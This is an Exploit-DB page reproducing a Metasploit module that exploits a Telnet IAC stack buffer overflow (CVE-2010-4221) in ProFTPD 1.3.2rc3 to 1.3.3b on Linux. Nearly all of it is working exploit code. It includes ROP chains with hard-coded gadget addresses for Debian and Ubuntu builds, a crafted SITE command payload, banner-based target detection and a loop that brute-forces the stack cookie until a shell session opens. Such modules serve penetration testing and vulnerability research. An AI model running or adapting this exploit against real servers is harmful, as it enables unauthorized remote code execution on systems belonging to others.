ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-01-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16851/
  • ##
    # $Id: proftp_telnet_iac.rb 11525 2011-01-09 23:33:24Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	#include Msf::Exploit::Remote::Ftp
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
    			'Description'=> %q{
    					This module exploits a stack-based buffer overflow in versions of ProFTPD
    				server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
    				large number of Telnet IAC commands, an attacker can corrupt memory and
    				execute arbitrary code.
    
    				The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
    				transfer the flow of execution to a pool buffer (the cmd_rec "res" in
    				"pr_cmd_read").
    
    				The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub
    				to it, and execute the stub. The stub then copies the remainder of the payload
    				in and executes it.
    
    				NOTE: Most Linux distributions either do not ship a vulnerable version of
    				ProFTPD, or they ship a version compiled with stack smashing protection.
    
    				Although SSP significantly reduces the probability of a single attempt
    				succeeding, it will not prevent exploitation. Since the daemon forks in a
    				default configuration, the cookie value will remain the same despite
    				some attemtps failing. By making repeated requests, an attacker can eventually
    				guess the cookie value and exploit the vulnerability.
    
    				The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
    				and could allow exploitation in semi-reasonable amount of time.
    			},
    			'Author' => [ 'jduck' ],
    			'Version'=> '$Revision: 11525 $',
    			'References' =>
    				[
    					['CVE', '2010-4221'],
    					['OSVDB', '68985'],
    					['BID', '44562']
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'PrependChrootBreak' => true
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 4096,
    					# NOTE: \xff are avoided here so we can control the number of them being sent.
    					'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
    					'DisableNops'	=>'True',
    				},
    			'Platform' => [ 'linux' ],
    			'Targets'=>
    			[
    				#
    				# Automatic targeting via fingerprinting
    				#
    				[ 'Automatic Targeting', { 'auto' => true }],
    
    				#
    				# This special one comes first since we dont want its index changing.
    				#
    				[	'Debug',
    					{
    						'IACCount' => 8192, # should cause crash writing off end of stack
    						'Offset' => 0,
    						'Ret' => 0x41414242,
    						'Writable' => 0x43434545
    					}
    				],
    
    				#
    				# specific targets
    				#
    
    				# NOTE: this minimal rop works most of the time, but it can fail
    				# if the proftpd pool memory is in a different order for whatever reason...
    				[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
    					{
    						'IACCount' => 4096+16,
    						'Offset' => 0x102c-4,
    						# NOTE: All addresses are from the proftpd binary
    						'Ret' => 0x805a547, # pop esi / pop ebp / ret
    						'Writable' => 0x80e81a0, # .data
    						'RopStack' =>
    							[
    								# Writable is here
    								0xcccccccc, # unused
    								0x805a544,# mov eax,esi / pop ebx / pop esi / pop ebp / ret
    								0xcccccccc, # becomes ebx
    								0xcccccccc, # becomes esi
    								0xcccccccc, # becomes ebp
    								# quadruple deref the res pointer :)
    								0x8068886,# mov eax,[eax] / ret
    								0x8068886,# mov eax,[eax] / ret
    								0x8068886,# mov eax,[eax] / ret
    								0x8068886,# mov eax,[eax] / ret
    								# skip the pool chunk header
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								0x805bd8e,# inc eax / adc cl, cl / ret
    								# execute the data :)
    								0x0805c26c, # jmp eax
    							],
    					}
    				],
    
    				# For the version compiled with symbols :)
    				[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
    					{
    						'IACCount' => 4096+16,
    						'Offset' => 0x1028-4,
    						# NOTE: All addresses are from the proftpd binary
    						'Writable' => 0x80ec570, # .data
    						'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
    						'RopStack' =>
    							[
    								# Writable is here
    								#0x0808162a, # jmp esp (works w/esp fixup)
    								0xcccccccc, # unused becomes ebp
    								0x80d78c2,# mov eax,esi / pop esi / pop ebp / ret
    								0xcccccccc, # unused becomes esi
    								0xcccccccc, # unused becomes ebp
    								# quadruple deref the res pointer :)
    								0x806a915,# mov eax,[eax] / pop ebp / ret
    								0xcccccccc, # unused becomes ebp
    								0x806a915,# mov eax,[eax] / pop ebp / ret
    								0xcccccccc, # unused becomes ebp
    								0x806a915,# mov eax,[eax] / pop ebp / ret
    								0xcccccccc, # unused becomes ebp
    								0x806a915,# mov eax,[eax] / pop ebp / ret
    								0xcccccccc, # unused becomes ebp
    								# skip the pool chunk header
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								0x805d6a9,# inc eax / adc cl, cl / ret
    								# execute the data :)
    								0x08058de6, # jmp eax
    							],
    					}
    				],
    
    				[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
    					{
    						'IACCount' => 1018,
    						'Offset' => 0x420,
    						'CookieOffset' => -0x20,
    						'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
    						'Ret' => 0x805389b,# pop esi / pop ebp / ret
    						'RopStack' =>
    							[
    								0xcccccccc, # becomes ebp
    
    								0x8080f04,# pop eax / ret
    								0x80db330,# becomes eax (GOT of mmap64)
    
    								0x806a716,# mov eax, [eax] / ret
    								0x805dd5c,# jmp eax
    								0x80607b2,# add esp, 0x24 / pop ebx / pop ebp / ret
    								# mmap args
    								0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
    								0, # unused
    								0xcccccccc, # unused
    								0xcccccccc, # unused
    								0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
    								0xcccccccc, # becomes ebp
    
    								# note, ebx gets fixed above :)
    								# 0xfe in 'ah' doesn't matter since we have more than enough space.
    								# now, load an instruction to store to eax
    								0x808b542,# pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
    								# becomes edx - mov [eax+ebp*4]; ebx / ret
    								"\x89\x1c\xa8\xc3".unpack('V').first,
    
    								# store it :)
    								0x805c2d0,# mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
    								0xcccccccc, # unused
    								0xcccccccc, # unused
    								0xcccccccc, # unused
    								0xcccccccc, # unused
    								0xcccccccc, # becomes ebx
    								0xcccccccc, # becomes esi
    								0xcccccccc, # becomes ebp
    
    								# Copy the following stub:
    								#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
    								#"\x8d\x78\x12"# lea edi, [eax+0x12]
    								#"\x6a\x7f" # push 0x7f
    								#"\x59"	# pop ecx
    								#"\xf2\xa5" # rep movsd
    
    								0x80607b5,# pop ebx / pop ebp / ret
    								0xfb2124b4, # becomes ebx
    								1, # becomes ebp
    								0x805dd5c,# jmp eax
    
    								0x80607b5,# pop ebx / pop ebp / ret
    								0x788dffff, # becomes ebx
    								2, # becomes ebp
    								0x805dd5c,# jmp eax
    
    								0x80607b5,# pop ebx / pop ebp / ret
    								0x597f6a12, # becomes ebx
    								3, # becomes ebp
    								0x805dd5c,# jmp eax
    
    								0x80607b5,# pop ebx / pop ebp / ret
    								0x9090a5f2, # becomes ebx
    								4, # becomes ebp
    								0x805dd5c,# jmp eax
    
    								0x80607b5,# pop ebx / pop ebp / ret
    								0x8d909090, # becomes ebx
    								0, # becomes ebp
    								0x805dd5c,# jmp eax
    
    								# hopefully we dont get here
    								0xcccccccc,
    							],
    					}
    				]
    
    			],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Nov 1 2010'))
    
    		register_options(
    			[
    				Opt::RPORT(21),
    			], self.class )
    	end
    
    
    	def check
    		# NOTE: We don't care if the login failed here...
    		ret = connect
    		banner = sock.get_once
    
    		# We just want the banner to check against our targets..
    		print_status("FTP Banner: #{banner.strip}")
    
    		status = CheckCode::Safe
    		if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
    			ver = $1
    			maj,min,rel = ver.split('.')
    			relv = rel.slice!(0,1)
    			case relv
    			when '2'
    				if rel.length > 0
    					if rel[0,2] == 'rc'
    						if rel[2,rel.length].to_i >= 3
    							status = CheckCode::Vulnerable
    						end
    					else
    						status = CheckCode::Vulnerable
    					end
    				end
    			when '3'
    				# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
    				status = CheckCode::Vulnerable
    				if rel.length > 0
    					if rel[0,2] != 'rc' and rel[0,1] > 'b'
    						status = CheckCode::Safe
    					end
    				end
    			end
    		end
    
    		disconnect
    		return status
    	end
    
    
    	def exploit
    		connect
    		banner = sock.get_once
    
    		# Use a copy of the target
    		mytarget = target
    
    		if (target['auto'])
    			mytarget = nil
    
    			print_status("Automatically detecting the target...")
    			if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
    				print_status("FTP Banner: #{banner.strip}")
    				version = m[1]
    			else
    				raise RuntimeError, "No matching target"
    			end
    
    			regexp = Regexp.escape(version)
    			self.targets.each do |t|
    				if (t.name =~ /#{regexp}/) then
    					mytarget = t
    					break
    				end
    			end
    
    			if (not mytarget)
    				raise RuntimeError, "No matching target"
    			end
    
    			print_status("Selected Target: #{mytarget.name}")
    		else
    			print_status("Trying target #{mytarget.name}...")
    			if banner
    				print_status("FTP Banner: #{banner.strip}")
    			end
    		end
    
    		#puts "attach and press any key"; bleh = $stdin.gets
    
    		buf = ''
    		buf << 'SITE '
    
    		#buf << "\xcc"
    		if mytarget['CookieOffset']
    			buf << "\x8d\xa0\xfc\xdf\xff\xff"# lea esp, [eax-0x2004]
    		end
    		buf << payload.encoded
    
    		# The number of characters left must be odd at this point.
    		buf << rand_text(1) if (buf.length % 2) == 0
    		buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
    
    		buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
    
    		addrs = [
    			mytarget['Ret'],
    			mytarget['Writable']
    		].pack('V*')
    
    		if mytarget['RopStack']
    			addrs << mytarget['RopStack'].map { |e|
    				if e == 0xcccccccc
    					rand_text(4).unpack('V').first
    				else
    					e
    				end
    			}.pack('V*')
    		end
    
    		# Make sure we didn't introduce instability
    		addr_badchars = "\x09\x0a\x0b\x0c\x20"
    		if idx = Rex::Text.badchar_index(addrs, addr_badchars)
    			raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])
    		end
    
    		buf << addrs
    		buf << "\r\n"
    
    
    		#
    		# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
    		# doesn't change while proftpd forks children. Therefore, we can try forever
    		# and eventually guess it correctly.
    		#
    		# NOTE: if the cookie contains one of our bad characters, we're SOL.
    		#
    		if mytarget['CookieOffset']
    			print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")
    
    			disconnect
    
    			max = 0xffffff00
    			off = mytarget['Offset'] + mytarget['CookieOffset']
    
    			cookie = last_cookie = 0
    			#cookie = 0x17ccd600
    
    			start = Time.now
    			last = start - 10
    
    			while not session_created?
    				now = Time.now
    				if (now - last) >= 10
    					perc = (cookie * 100) / max
    					qps = ((cookie - last_cookie) >> 8) / 10.0
    					print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
    					last = now
    					last_cookie = cookie
    				end
    
    				sd = connect(false)
    				sd.get_once
    				buf[off, 4] = [cookie].pack('V')
    				sd.put(buf)
    				disconnect(sd)
    
    				cookie += 0x100
    				break if cookie > max
    			end
    
    			if not session_created?
    				raise RuntimeError, "Unable to guess the cookie value, sorry :-/"
    			end
    		else
    			sock.put(buf)
    			disconnect
    		end
    
    		handler
    	end
    
    end